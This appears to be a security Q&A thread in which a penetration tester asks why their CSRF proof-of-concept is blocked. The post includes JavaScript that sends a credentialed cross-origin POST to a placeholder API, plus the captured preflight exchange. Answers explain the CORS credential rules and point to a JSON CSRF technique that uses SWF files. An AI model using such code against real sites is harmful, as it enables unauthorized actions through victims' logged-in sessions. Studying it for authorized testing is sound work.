2

I'm currently working on a PoC for a CSRF attack, which should be possible due to the lax CORS configuration. I have a permission to attack.

Now the following code should send a OPTIONS request, which includes all the details required by the browser to send the actual CSRF.

<html>
<head>
</head>
<body>
    <script>

    function createCORSRequest(method, url){
    var xhr = new XMLHttpRequest();
    if ("withCredentials" in xhr){
        xhr.open(method, url, true);
    } else if (typeof XDomainRequest != "undefined"){
        xhr = new XDomainRequest();
        xhr.open(method, url);
    } else {
        xhr = null;
    }
    return xhr;
    }


    var url = 'https://api.example.com/path';
    var xhr = createCORSRequest('POST', url);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', "application/json");
    xhr.send("EXAMPLE");

    </script>
</body>
</html> 

The browser sends a OPTIONS request and the server answers accordingly:

OPTIONS request:

OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
origin: null
Connection: close
Cache-Control: max-age=0

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close

But the actual POST request is never sent. I'm not very good with JS and stitched the XHR part together from different StackExchange posts. A variation of this worked for me for a different web-application.

Why doesn't the browser send the CSRF POST request?

2
  • 3
    Credentialed requests aren't permitted with wildcard values for the Access-Control-Allow-Origin header, regardless of what other headers are provided. See developer.mozilla.org/en-US/docs/Web/HTTP/CORS for the details of that.
    – Matthew
    Commented Sep 21, 2018 at 8:05
  • Right @Matthew, thanks for the comment! If the Access-Control-Allow-Origin would specify the attackers domain, this would fail anyways as the Access-Control-Allow-Credentials header isn't set in the OPTIONS response, correct?
    – SaAtomic
    Commented Sep 21, 2018 at 8:18

2 Answers 2

2

I've identified the issue. The CORS settings don't allow "withCredentials" as the server doesn't respond with Access-Control-Allow-Credentials: true, which is why the POST request isn't made.

Furthermore, as stated by @Matthew, with a wildcard for Access-Control-Allow-Origin, the Authorization header can't be sent.

7
  • 1
    One option might be to see if you can send a request with credentials that won’t get preflighted.
    – user18519
    Commented Sep 21, 2018 at 11:55
  • @user18519 what do you mean? If I make an xhr with custom header a preflight request will be made. The point is that the page uses the authorization header, which requires the Access-Control-Allow-Credentials response header and a specific origin.
    – SaAtomic
    Commented Sep 21, 2018 at 12:29
  • I don’t believe Authorization counts as a custom header. I see that you’re setting the content-type though. Does the server require it? Often they parse it as json no matter what you put.
    – user18519
    Commented Sep 21, 2018 at 12:31
  • @user18519 The Content-Type is fine. The browser sends the defined Content-Type after the preflight request, just not with xhr.withCredentials = true;. Which I'd require, as the Authorization header is used.
    – SaAtomic
    Commented Sep 21, 2018 at 12:33
  • I would reread the documentation on allow-credentials. I know it’s possible to send with credentials and without it preflighting.
    – user18519
    Commented Sep 21, 2018 at 12:39
1

The attack is possible , you do not need CORS and you do not need XHR to exploit , try the tricky json CSRF via swf file.

https://www.geekboy.ninja/blog/tag/json-csrf/

1
  • Thanks for the response! I'm trying to create a PoC .swf for the application. The swf doesn't send the Authorization header, right? or am I missing something?
    – SaAtomic
    Commented Sep 21, 2018 at 9:53

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .